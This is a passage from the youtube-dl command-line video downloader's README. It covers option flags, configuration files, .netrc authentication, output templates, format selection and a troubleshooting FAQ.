ignored. --id Use only video ID in file name -o, --output TEMPLATE Output filename template, see the "OUTPUT TEMPLATE" for all the info --autonumber-start NUMBER Specify the start value for %(autonumber)s (default is 1) --restrict-filenames Restrict filenames to only ASCII characters, and avoid "&" and spaces in filenames -w, --no-overwrites Do not overwrite files -c, --continue Force resume of partially downloaded files. By default, youtube-dl will resume downloads if possible. --no-continue Do not resume partially downloaded files (restart from beginning) --no-part Do not use .part files - write directly into output file --no-mtime Do not use the Last-modified header to set the file modification time --write-description Write video description to a .description file --write-info-json Write video metadata to a .info.json file --write-annotations Write video annotations to a .annotations.xml file --load-info-json FILE JSON file containing the video information (created with the "--write-info-json" option) --cookies FILE File to read cookies from and dump cookie jar in --cache-dir DIR Location in the filesystem where youtube-dl can store some downloaded information permanently. By default $XDG_CACHE_HOME/youtube-dl or ~/.cache/youtube-dl . At the moment, only YouTube player files (for videos with obfuscated signatures) are cached, but that may change. --no-cache-dir Disable filesystem caching --rm-cache-dir Delete all filesystem cache files ## Thumbnail images: --write-thumbnail Write thumbnail image to disk --write-all-thumbnails Write all thumbnail image formats to disk --list-thumbnails Simulate and list all available thumbnail formats ## Verbosity / Simulation Options: -q, --quiet Activate quiet mode --no-warnings Ignore warnings -s, --simulate Do not download the video and do not write anything to disk --skip-download Do not download the video -g, --get-url Simulate, quiet but print URL -e, --get-title Simulate, quiet but print title --get-id Simulate, quiet but print id --get-thumbnail Simulate, quiet but print thumbnail URL --get-description Simulate, quiet but print video description --get-duration Simulate, quiet but print video length --get-filename Simulate, quiet but print output filename --get-format Simulate, quiet but print output format -j, --dump-json Simulate, quiet but print JSON information. See the "OUTPUT TEMPLATE" for a description of available keys. -J, --dump-single-json Simulate, quiet but print JSON information for each command-line argument. If the URL refers to a playlist, dump the whole playlist information in a single line. --print-json Be quiet and print the video information as JSON (video is still being downloaded). --newline Output progress bar as new lines --no-progress Do not print progress bar --console-title Display progress in console titlebar -v, --verbose Print various debugging information --dump-pages Print downloaded pages encoded using base64 to debug problems (very verbose) --write-pages Write downloaded intermediary pages to files in the current directory to debug problems --print-traffic Display sent and read HTTP traffic -C, --call-home Contact the youtube-dl server for debugging --no-call-home Do NOT contact the youtube-dl server for debugging ## Workarounds: --encoding ENCODING Force the specified encoding (experimental) --no-check-certificate Suppress HTTPS certificate validation --prefer-insecure Use an unencrypted connection to retrieve information about the video. (Currently supported only for YouTube) --user-agent UA Specify a custom user agent --referer URL Specify a custom referer, use if the video access is restricted to one domain --add-header FIELD:VALUE Specify a custom HTTP header and its value, separated by a colon ':'. You can use this option multiple times --bidi-workaround Work around terminals that lack bidirectional text support. Requires bidiv or fribidi executable in PATH --sleep-interval SECONDS Number of seconds to sleep before each download when used alone or a lower bound of a range for randomized sleep before each download (minimum possible number of seconds to sleep) when used along with --max-sleep-interval. --max-sleep-interval SECONDS Upper bound of a range for randomized sleep before each download (maximum possible number of seconds to sleep). Must only be used along with --min-sleep-interval. ## Video Format Options: -f, --format FORMAT Video format code, see the "FORMAT SELECTION" for all the info --all-formats Download all available video formats --prefer-free-formats Prefer free video formats unless a specific one is requested -F, --list-formats List all available formats of requested videos --youtube-skip-dash-manifest Do not download the DASH manifests and related data on YouTube videos --merge-output-format FORMAT If a merge is required (e.g. bestvideo+bestaudio), output to given container format. One of mkv, mp4, ogg, webm, flv. Ignored if no merge is required ## Subtitle Options: --write-sub Write subtitle file --write-auto-sub Write automatically generated subtitle file (YouTube only) --all-subs Download all the available subtitles of the video --list-subs List all available subtitles for the video --sub-format FORMAT Subtitle format, accepts formats preference, for example: "srt" or "ass/srt/best" --sub-lang LANGS Languages of the subtitles to download (optional) separated by commas, use --list- subs for available language tags ## Authentication Options: -u, --username USERNAME Login with this account ID -p, --password PASSWORD Account password. If this option is left out, youtube-dl will ask interactively. -2, --twofactor TWOFACTOR Two-factor authentication code -n, --netrc Use .netrc authentication data --video-password PASSWORD Video password (vimeo, youku) ## Adobe Pass Options: --ap-mso MSO Adobe Pass multiple-system operator (TV provider) identifier, use --ap-list-mso for a list of available MSOs --ap-username USERNAME Multiple-system operator account login --ap-password PASSWORD Multiple-system operator account password. If this option is left out, youtube-dl will ask interactively. --ap-list-mso List all supported multiple-system operators ## Post-processing Options: -x, --extract-audio Convert video files to audio-only files (requires ffmpeg or avconv and ffprobe or avprobe) --audio-format FORMAT Specify audio format: "best", "aac", "flac", "mp3", "m4a", "opus", "vorbis", or "wav"; "best" by default; No effect without -x --audio-quality QUALITY Specify ffmpeg/avconv audio quality, insert a value between 0 (better) and 9 (worse) for VBR or a specific bitrate like 128K (default 5) --recode-video FORMAT Encode the video to another format if necessary (currently supported: mp4|flv|ogg|webm|mkv|avi) --postprocessor-args ARGS Give these arguments to the postprocessor -k, --keep-video Keep the video file on disk after the post- processing; the video is erased by default --no-post-overwrites Do not overwrite post-processed files; the post-processed files are overwritten by default --embed-subs Embed subtitles in the video (only for mp4, webm and mkv videos) --embed-thumbnail Embed thumbnail in the audio as cover art --add-metadata Write metadata to the video file --metadata-from-title FORMAT Parse additional metadata like song title / artist from the video title. The format syntax is the same as --output. Regular expression with named capture groups may also be used. The parsed parameters replace existing values. Example: --metadata-from- title "%(artist)s - %(title)s" matches a title like "Coldplay - Paradise". Example (regex): --metadata-from-title "(?P<artist>.+?) - (?P<title>.+)" --xattrs Write metadata to the video file's xattrs (using dublin core and xdg standards) --fixup POLICY Automatically correct known faults of the file. One of never (do nothing), warn (only emit a warning), detect_or_warn (the default; fix file if we can, warn otherwise) --prefer-avconv Prefer avconv over ffmpeg for running the postprocessors --prefer-ffmpeg Prefer ffmpeg over avconv for running the postprocessors (default) --ffmpeg-location PATH Location of the ffmpeg/avconv binary; either the path to the binary or its containing directory. --exec CMD Execute a command on the file after downloading and post-processing, similar to find's -exec syntax. Example: --exec 'adb push {} /sdcard/Music/ && rm {}' --convert-subs FORMAT Convert the subtitles to other format (currently supported: srt|ass|vtt|lrc) # CONFIGURATION You can configure youtube-dl by placing any supported command line option to a configuration file. On Linux and macOS, the system wide configuration file is located at `/etc/youtube-dl.conf` and the user wide configuration file at `~/.config/youtube-dl/config`. On Windows, the user wide configuration file locations are `%APPDATA%\youtube-dl\config.txt` or `C:\Users\<user name>\youtube-dl.conf`. Note that by default configuration file may not exist so you may need to create it yourself. For example, with the following configuration file youtube-dl will always extract the audio, not copy the mtime, use a proxy and save all videos under `Movies` directory in your home directory: ``` # Lines starting with # are comments # Always extract audio -x # Do not copy the mtime --no-mtime # Use this proxy --proxy 127.0.0.1:3128 # Save all videos under Movies directory in your home directory -o ~/Movies/%(title)s.%(ext)s ``` Note that options in configuration file are just the same options aka switches used in regular command line calls thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. You can use `--ignore-config` if you want to disable the configuration file for a particular youtube-dl run. You can also use `--config-location` if you want to use custom configuration file for a particular youtube-dl run. ### Authentication with `.netrc` file You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every youtube-dl execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per extractor basis. For that you will need to create a `.netrc` file in your `$HOME` and restrict permissions to read/write by only you: ``` touch $HOME/.netrc chmod a-rwx,u+rw $HOME/.netrc ``` After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase: ``` machine <extractor> login <login> password <password> ``` For example: ``` machine youtube login [email protected] password my_youtube_password machine twitch login my_twitch_account_name password my_twitch_password ``` To activate authentication with the `.netrc` file you should pass `--netrc` to youtube-dl or place it in the [configuration file](#configuration). On Windows you may also need to setup the `%HOME%` environment variable manually. For example: ``` set HOME=%USERPROFILE% ``` # OUTPUT TEMPLATE The `-o` option allows users to indicate a template for the output file names. **tl;dr:** [navigate me to examples](#output-template-examples). The basic usage is not to set any template arguments when downloading a single file, like in `youtube-dl -o funny_video.flv "https://some/video"`. However, it may contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [python string formatting operations](https://docs.python.org/2/library/stdtypes.html#string-formatting). For example, `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations. Allowed names along with sequence type are: - `id` (string): Video identifier - `title` (string): Video title - `url` (string): Video URL - `ext` (string): Video filename extension - `alt_title` (string): A secondary title of the video - `display_id` (string): An alternative identifier for the video - `uploader` (string): Full name of the video uploader - `license` (string): License name the video is licensed under - `creator` (string): The creator of the video - `release_date` (string): The date (YYYYMMDD) when the video was released - `timestamp` (numeric): UNIX timestamp of the moment the video became available - `upload_date` (string): Video upload date (YYYYMMDD) - `uploader_id` (string): Nickname or id of the video uploader - `channel` (string): Full name of the channel the video is uploaded on - `channel_id` (string): Id of the channel - `location` (string): Physical location where the video was filmed - `duration` (numeric): Length of the video in seconds - `view_count` (numeric): How many users have watched the video on the platform - `like_count` (numeric): Number of positive ratings of the video - `dislike_count` (numeric): Number of negative ratings of the video - `repost_count` (numeric): Number of reposts of the video - `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage - `comment_count` (numeric): Number of comments on the video - `age_limit` (numeric): Age restriction for the video (years) - `is_live` (boolean): Whether this video is a live stream or a fixed-length video - `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL - `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL - `format` (string): A human-readable description of the format - `format_id` (string): Format code specified by `--format` - `format_note` (string): Additional info about the format - `width` (numeric): Width of the video - `height` (numeric): Height of the video - `resolution` (string): Textual description of width and height - `tbr` (numeric): Average bitrate of audio and video in KBit/s - `abr` (numeric): Average audio bitrate in KBit/s - `acodec` (string): Name of the audio codec in use - `asr` (numeric): Audio sampling rate in Hertz - `vbr` (numeric): Average video bitrate in KBit/s - `fps` (numeric): Frame rate - `vcodec` (string): Name of the video codec in use - `container` (string): Name of the container format - `filesize` (numeric): The number of bytes, if known in advance - `filesize_approx` (numeric): An estimate for the number of bytes - `protocol` (string): The protocol that will be used for the actual download - `extractor` (string): Name of the extractor - `extractor_key` (string): Key name of the extractor - `epoch` (numeric): Unix epoch when creating the file - `autonumber` (numeric): Number that will be increased with each download, starting at `--autonumber-start` - `playlist` (string): Name or id of the playlist that contains the video - `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according to the total length of the playlist - `playlist_id` (string): Playlist identifier - `playlist_title` (string): Playlist title - `playlist_uploader` (string): Full name of the playlist uploader - `playlist_uploader_id` (string): Nickname or id of the playlist uploader Available for the video that belongs to some logical chapter or section: - `chapter` (string): Name or title of the chapter the video belongs to - `chapter_number` (numeric): Number of the chapter the video belongs to - `chapter_id` (string): Id of the chapter the video belongs to Available for the video that is an episode of some series or programme: - `series` (string): Title of the series or programme the video episode belongs to - `season` (string): Title of the season the video episode belongs to - `season_number` (numeric): Number of the season the video episode belongs to - `season_id` (string): Id of the season the video episode belongs to - `episode` (string): Title of the video episode - `episode_number` (numeric): Number of the video episode within a season - `episode_id` (string): Id of the video episode Available for the media that is a track or a part of a music album: - `track` (string): Title of the track - `track_number` (numeric): Number of the track within an album or a disc - `track_id` (string): Id of the track - `artist` (string): Artist(s) of the track - `genre` (string): Genre(s) of the track - `album` (string): Title of the album the track belongs to - `album_type` (string): Type of the album - `album_artist` (string): List of all artists appeared on the album - `disc_number` (numeric): Number of the disc or other physical medium the track belongs to - `release_year` (numeric): Year (YYYY) when the album was released Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. Note that some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with `NA`. For example for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `youtube-dl test video` and id `BaW_jenozKcj`, this will result in a `youtube-dl test video-BaW_jenozKcj.mp4` file created in the current directory. For numeric sequences you can use numeric related formatting, for example, `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`. Output templates can also contain arbitrary hierarchical path, e.g. `-o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s'` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you. To use percent literals in an output template use `%%`. To output to stdout use `-o -`. The current default template is `%(title)s-%(id)s.%(ext)s`. In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title: #### Output template and Windows batch files If you are using an output template inside a Windows batch file then you must escape plain percent characters (`%`) by doubling, so that `-o "%(title)s-%(id)s.%(ext)s"` should become `-o "%%(title)s-%%(id)s.%%(ext)s"`. However you should not touch `%`'s that are not plain characters, e.g. environment variables for expansion should stay intact: `-o "C:\%HOMEPATH%\Desktop\%%(title)s.%%(ext)s"`. #### Output template examples Note that on Windows you may need to use double quotes instead of single. ```bash $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc youtube-dl test video ''_ä↭𝕐.mp4 # All kinds of weird characters $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc --restrict-filenames youtube-dl_test_video_.mp4 # A simple file name # Download YouTube playlist videos in separate directory indexed by video order in a playlist $ youtube-dl -o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re # Download all playlists of YouTube channel/user keeping each playlist in separate directory: $ youtube-dl -o '%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/user/TheLinuxFoundation/playlists # Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home $ youtube-dl -u user -p password -o '~/MyVideos/%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s' https://www.udemy.com/java-tutorial/ # Download entire series season keeping each series and each season in separate directory under C:/MyVideos $ youtube-dl -o "C:/MyVideos/%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" https://videomore.ru/kino_v_detalayah/5_sezon/367617 # Stream the video being downloaded to stdout $ youtube-dl -o - BaW_jenozKc ``` # FORMAT SELECTION By default youtube-dl tries to download the best available quality, i.e. if you want the best quality you **don't need** to pass any special options, youtube-dl will guess it for you by **default**. But sometimes you may want to download in a different format, for example when you are on a slow or intermittent connection. The key mechanism for achieving this is so-called *format selection* based on which you can explicitly specify desired format, select formats based on some criterion or criteria, setup precedence and much more. The general syntax for format selection is `--format FORMAT` or shorter `-f FORMAT` where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download. **tl;dr:** [navigate me to examples](#format-selection-examples). The simplest case is requesting a specific format, for example with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific. You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file. You can also use special names to select particular edge case formats: - `best`: Select the best quality format represented by a single file with video and audio. - `worst`: Select the worst quality format represented by a single file with video and audio. - `bestvideo`: Select the best quality video-only format (e.g. DASH video). May not be available. - `worstvideo`: Select the worst quality video-only format. May not be available. - `bestaudio`: Select the best quality audio only-format. May not be available. - `worstaudio`: Select the worst quality audio only-format. May not be available. For example, to download the worst quality video-only format you can use `-f worstvideo`. If you want to download multiple videos and they don't have the same formats available, you can specify the order of preference using slashes. Note that slash is left-associative, i.e. formats on the left hand side are preferred, for example `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download. If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`. You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"`). The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals): - `filesize`: The number of bytes, if known in advance - `width`: Width of the video, if known - `height`: Height of the video, if known - `tbr`: Average bitrate of audio and video in KBit/s - `abr`: Average audio bitrate in KBit/s - `vbr`: Average video bitrate in KBit/s - `asr`: Audio sampling rate in Hertz - `fps`: Frame rate Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains) and following string meta fields: - `ext`: File extension - `acodec`: Name of the audio codec in use - `vcodec`: Name of the video codec in use - `container`: Name of the container format - `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`) - `format_id`: A short description of the format - `language`: Language code Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). Note that none of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the video hoster. Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "[height <=? 720][tbr>500]"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 KBit/s. You can merge the video and audio of two formats into a single file using `-f <video-format>+<audio-format>` (requires ffmpeg or avconv installed), for example `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg/avconv. Format selectors can also be grouped using parentheses, for example if you want to download the best mp4 and webm formats with a height lower than 480 you can use `-f '(mp4,webm)[height<480]'`. Since the end of April 2015 and version 2015.04.26, youtube-dl uses `-f bestvideo+bestaudio/best` as the default format selection (see [#5447](https://github.com/ytdl-org/youtube-dl/issues/5447), [#5456](https://github.com/ytdl-org/youtube-dl/issues/5456)). If ffmpeg or avconv are installed this results in downloading `bestvideo` and `bestaudio` separately and muxing them together into a single file giving the best overall quality available. Otherwise it falls back to `best` and results in downloading the best available quality served as a single file. `best` is also needed for videos that don't come from YouTube because they don't provide the audio and video in two different files. If you want to only download some DASH formats (for example if you are not interested in getting videos with a resolution higher than 1080p), you can add `-f bestvideo[height<=?1080]+bestaudio/best` to your configuration file. Note that if you use youtube-dl to stream to `stdout` (and most likely to pipe it to your media player then), i.e. you explicitly specify output template as `-o -`, youtube-dl still uses `-f best` format selection in order to start content delivery immediately to your player and not to wait until `bestvideo` and `bestaudio` are downloaded and muxed. If you want to preserve the old format selection behavior (prior to youtube-dl 2015.04.26), i.e. you want to download the best available quality media served as a single file, you should explicitly specify your choice with `-f best`. You may want to add it to the [configuration file](#configuration) in order not to type it every time you run youtube-dl. #### Format selection examples Note that on Windows you may need to use double quotes instead of single. ```bash # Download best mp4 format available or any other best if no mp4 available $ youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' # Download best format available but no better than 480p $ youtube-dl -f 'bestvideo[height<=480]+bestaudio/best[height<=480]' # Download best video only format but no bigger than 50 MB $ youtube-dl -f 'best[filesize<50M]' # Download best format available via direct link over HTTP/HTTPS protocol $ youtube-dl -f '(bestvideo+bestaudio/best)[protocol^=http]' # Download the best video format and the best audio format without merging them $ youtube-dl -f 'bestvideo,bestaudio' -o '%(title)s.f%(format_id)s.%(ext)s' ``` Note that in the last example, an output template is recommended as bestvideo and bestaudio may have the same file name. # VIDEO SELECTION Videos can be filtered by their upload date using the options `--date`, `--datebefore` or `--dateafter`. They accept dates in two formats: - Absolute dates: Dates in the format `YYYYMMDD`. - Relative dates: Dates in the format `(now|today)[+-][0-9](day|week|month|year)(s)?` Examples: ```bash # Download only the videos uploaded in the last 6 months $ youtube-dl --dateafter now-6months # Download only the videos uploaded on January 1, 1970 $ youtube-dl --date 19700101 $ # Download only the videos uploaded in the 200x decade $ youtube-dl --dateafter 20000101 --datebefore 20091231 ``` # FAQ ### How do I update youtube-dl? If you've followed [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html), you can simply run `youtube-dl -U` (or, on Linux, `sudo youtube-dl -U`). If you have used pip, a simple `sudo pip install -U youtube-dl` is sufficient to update. If you have installed youtube-dl using a package manager like *apt-get* or *yum*, use the standard system update mechanism to update. Note that distribution packages are often outdated. As a rule of thumb, youtube-dl releases at least once a month, and often weekly or even daily. Simply go to https://yt-dl.org to find out the current version. Unfortunately, there is nothing we youtube-dl developers can do if your distribution serves a really outdated version. You can (and should) complain to your distribution in their bugtracker or support forum. As a last resort, you can also uninstall the version installed by your package manager and follow our manual installation instructions. For that, remove the distribution's package, with a line like sudo apt-get remove -y youtube-dl Afterwards, simply follow [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html): ``` sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl hash -r ``` Again, from then on you'll be able to update with `sudo youtube-dl -U`. ### youtube-dl is extremely slow to start on Windows Add a file exclusion for `youtube-dl.exe` in Windows Defender settings. ### I'm getting an error `Unable to extract OpenGraph title` on YouTube playlists YouTube changed their playlist format in March 2014 and later on, so you'll need at least youtube-dl 2014.07.25 to download all YouTube videos. If you have installed youtube-dl with a package manager, pip, setup.py or a tarball, please use that to update. Note that Ubuntu packages do not seem to get updated anymore. Since we are not affiliated with Ubuntu, there is little we can do. Feel free to [report bugs](https://bugs.launchpad.net/ubuntu/+source/youtube-dl/+filebug) to the [Ubuntu packaging people](mailto:[email protected]?subject=outdated%20version%20of%20youtube-dl) - all they have to do is update the package to a somewhat recent version. See above for a way to update. ### I'm getting an error when trying to use output template: `error: using output template conflicts with using title, video ID or auto number` Make sure you are not using `-o` with any of these options `-t`, `--title`, `--id`, `-A` or `--auto-number` set in command line or in a configuration file. Remove the latter if any. ### Do I always have to pass `-citw`? By default, youtube-dl intends to have the best options (incidentally, if you have a convincing case that these should be different, [please file an issue where you explain that](https://yt-dl.org/bug)). Therefore, it is unnecessary and sometimes harmful to copy long option strings from webpages. In particular, the only option out of `-citw` that is regularly useful is `-i`. ### Can you please put the `-b` option back? Most people asking this question are not aware that youtube-dl now defaults to downloading the highest available quality as reported by YouTube, which will be 1080p or 720p in some cases, so you no longer need the `-b` option. For some specific videos, maybe YouTube does not report them to be available in a specific high quality format you're interested in. In that case, simply request it with the `-f` option and youtube-dl will try to download it. ### I get HTTP error 402 when trying to download a video. What's this? Apparently YouTube requires you to pass a CAPTCHA test if you download too much. We're [considering to provide a way to let you solve the CAPTCHA](https://github.com/ytdl-org/youtube-dl/issues/154), but at the moment, your best course of action is pointing a web browser to the youtube URL, solving the CAPTCHA, and restart youtube-dl. ### Do I need any other programs? youtube-dl works fine on its own on most sites. However, if you want to convert video/audio, you'll need [avconv](https://libav.org/) or [ffmpeg](https://www.ffmpeg.org/). On some sites - most notably YouTube - videos can be retrieved in a higher quality format without sound. youtube-dl will detect whether avconv/ffmpeg is present and automatically pick the best option. Videos or video formats streamed via RTMP protocol can only be downloaded when [rtmpdump](https://rtmpdump.mplayerhq.hu/) is installed. Downloading MMS and RTSP videos requires either [mplayer](https://mplayerhq.hu/) or [mpv](https://mpv.io/) to be installed. ### I have downloaded a video but how can I play it? Once the video is fully downloaded, use any video player, such as [mpv](https://mpv.io/), [vlc](https://www.videolan.org/) or [mplayer](https://www.mplayerhq.hu/). ### I extracted a video URL with `-g`, but it does not play on another machine / in my web browser. It depends a lot on the service. In many cases, requests for the video (to download/play it) must come from the same IP address and with the same cookies and/or HTTP headers. Use the `--cookies` option to write the required cookies into a file, and advise your downloader to read cookies from that file. Some sites also require a common user agent to be used, use `--dump-user-agent` to see the one in use by youtube-dl. You can also get necessary cookies and HTTP headers from JSON output obtained with `--dump-json`. It may be beneficial to use IPv6; in some cases, the restrictions are only applied to IPv4. Some services (sometimes only for a subset of videos) do not restrict the video URL by IP address, cookie, or user-agent, but these are the exception rather than the rule. Please bear in mind that some URL protocols are **not** supported by browsers out of the box, including RTMP. If you are using `-g`, your own downloader must support these as well. If you want to play the video on a machine that is not running youtube-dl, you can relay the video content from the machine that runs youtube-dl. You can use `-o -` to let youtube-dl stream a video to stdout, or simply allow the player to download the files written by youtube-dl in turn. ### ERROR: no fmt_url_map or conn information found in video info YouTube has switched to a new video info format in July 2011 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### ERROR: unable to download video YouTube requires an additional signature since September 2012 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### Video URL contains an ampersand and I'm getting some strange output `[1] 2839` or `'v' is not recognized as an internal or external command` That's actually the output from your shell. Since ampersand is one of the special shell characters it's interpreted by the shell preventing you from passing the whole URL to youtube-dl. To disable your shell from interpreting the ampersands (or any other special characters) you have to either put the whole URL in quotes or escape them with a backslash (which approach will work depends on your shell). For example if your URL is https://www.youtube.com/watch?t=4&v=BaW_jenozKc you should end up with following command: ```youtube-dl 'https://www.youtube.com/watch?t=4&v=BaW_jenozKc'``` or ```youtube-dl https://www.youtube.com/watch?t=4\&v=BaW_jenozKc``` For Windows you have to use the double quotes: ```youtube-dl "https://www.youtube.com/watch?t=4&v=BaW_jenozKc"``` ### ExtractorError: Could not find JS function u'OF' In February 2015, the new YouTube player contained a character sequence in a string that was misinterpreted by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### HTTP Error 429: Too Many Requests or 402: Payment Required These two error codes indicate that the service is blocking your IP address because of overuse. Usually this is a soft block meaning that you can gain access again after solving CAPTCHA. Just open a browser and solve a CAPTCHA the service suggests you and after that [pass cookies](#how-do-i-pass-cookies-to-youtube-dl) to youtube-dl. Note that if your machine has multiple external IPs then you should also pass exactly the same IP you've used for solving CAPTCHA with [`--source-address`](#network-options). Also you may need to pass a `User-Agent` HTTP header of your browser with [`--user-agent`](#workarounds). If this is not the case (no CAPTCHA suggested to solve by the service) then you can contact the service and ask them to unblock your IP address, or - if you have acquired a whitelisted IP address already - use the [`--proxy` or `--source-address` options](#network-options) to select another IP address. ### SyntaxError: Non-ASCII character The error File "youtube-dl", line 2 SyntaxError: Non-ASCII character '\x93' ... means you're using an outdated version of Python. Please update to Python 2.6 or 2.7. ### What is this binary file? Where has the code gone? Since June 2012 ([#342](https://github.com/ytdl-org/youtube-dl/issues/342)) youtube-dl is packed as an executable zipfile, simply unzip it (might need renaming to `youtube-dl.zip` first on some systems) or clone the git repository, as laid out above. If you modify the code, you can run it by executing the `__main__.py` file. To recompile the executable, run `make youtube-dl`. ### The exe throws an error due to missing `MSVCR100.dll` To run the exe you need to install first the [Microsoft Visual C++ 2010 Redistributable Package (x86)](https://www.microsoft.com/en-US/download/details.aspx?id=5555). ### On Windows, how should I set up ffmpeg and youtube-dl? Where should I put the exe files? If you put youtube-dl and ffmpeg in the same directory that you're running the command from, it will work, but that's rather cumbersome. To make a different directory work - either for ffmpeg, or for youtube-dl, or for both - simply create the directory (say, `C:\bin`, or `C:\Users\<User name>\bin`), put all the executables directly in there, and then [set your PATH environment variable](https://www.java.com/en/download/help/path.xml) to include that directory. From then on, after restarting your shell, you will be able to access both youtube-dl and ffmpeg (and youtube-dl will be able to find ffmpeg) by simply typing `youtube-dl` or `ffmpeg`, no matter what directory you're in. ### How do I put downloads into a specific folder? Use the `-o` to specify an [output template](#output-template), for example `-o "/home/user/videos/%(title)s-%(id)s.%(ext)s"`. If you want this for all of your downloads, put the option into your [configuration file](#configuration). ### How do I download a video starting with a `-`? Either prepend `https://www.youtube.com/watch?v=` or separate the ID from the options with `--`: youtube-dl -- -wNyEUrxzFU youtube-dl "https://www.youtube.com/watch?v=-wNyEUrxzFU" ### How do I pass cookies to youtube-dl? Use the `--cookies` option, for example `--cookies /path/to/cookies/file.txt`. In order to extract cookies from browser use any conforming browser extension for exporting cookies. For example, [Get cookies.txt](https://chrome.google.com/webstore/detail/get-cookiestxt/bgaddhkoddajcdgocldbbfleckgcbcid/) (for Chrome) or [cookies.txt](https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/) (for Firefox). Note that the cookies file must be in Mozilla/Netscape format and the first line of the cookies file must be either `# HTTP Cookie File` or `# Netscape HTTP Cookie File`. Make sure you have correct [newline format](https://en.wikipedia.org/wiki/Newline) in the cookies file and convert newlines if necessary to correspond with your OS, namely `CRLF` (`\r\n`) for Windows and `LF` (`\n`) for Unix and Unix-like systems (Linux, macOS, etc.). `HTTP Error 400: Bad Request` when using `--cookies` is a good sign of invalid newline format. Passing cookies to youtube-dl is a good way to workaround login when a particular extractor does not implement it explicitly. Another use case is working around [CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA) some websites require you to solve in particular cases in order to get access (e.g. YouTube, CloudFlare). ### How do I stream directly to media player? You will first need to tell youtube-dl to stream media to stdout with `-o -`, and also tell your media player to read from stdin (it must be capable of this for streaming) and then pipe former to latter. For example, streaming to [vlc](https://www.videolan.org/) can be achieved with: youtube-dl -o - "https://www.youtube.com/watch?v=BaW_jenozKcj" | vlc - ### How do I download only new videos from a playlist? Use download-archive feature. With this feature you should initially download the complete playlist with `--download-archive /path/to/download/archive/file.txt` that will record identifiers of all the videos in a special file. Each subsequent run with the same `--download-archive` will download only new videos and skip all videos that have been downloaded before. Note that only successful downloads are recorded in the file. For example, at first, youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" will download the complete `PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re` playlist and create a file `archive.txt`. Each subsequent run will only download new videos if any: youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" ### Should I add `--hls-prefer-native` into my config? When youtube-dl detects an HLS video, it can download it either with the built-in downloader or ffmpeg. Since many HLS streams are slightly invalid and 